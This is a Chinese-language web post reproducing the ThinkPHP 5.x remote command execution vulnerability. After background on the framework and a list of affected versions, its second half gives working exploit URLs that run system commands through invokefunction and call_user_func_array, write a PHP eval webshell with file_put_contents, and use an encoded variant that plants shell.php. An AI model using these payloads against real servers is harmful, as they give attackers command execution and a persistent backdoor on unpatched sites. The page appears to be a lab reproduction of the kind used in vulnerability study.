您的位置:首页 > 编程语言 > PHP开发

Thinkphp框架 5.x远程命令执行漏洞复现

2020-07-06 17:04 197 查看

thinkphp 编辑
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。
影响范围
5.x < 5.1.31, <= 5.0.23
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
下载地址http://www.thinkphp.cn/donate/download/id/1125.html
复现
利用system函数远程命令执行
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写shell
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=…/test.php&vars[1][]=<?php @eval($_GET['code']);?>

或者编码绕过
hhttp://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%3C?php%20@eval($_GET[%22code%22])?%3E%3Eshell.php

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: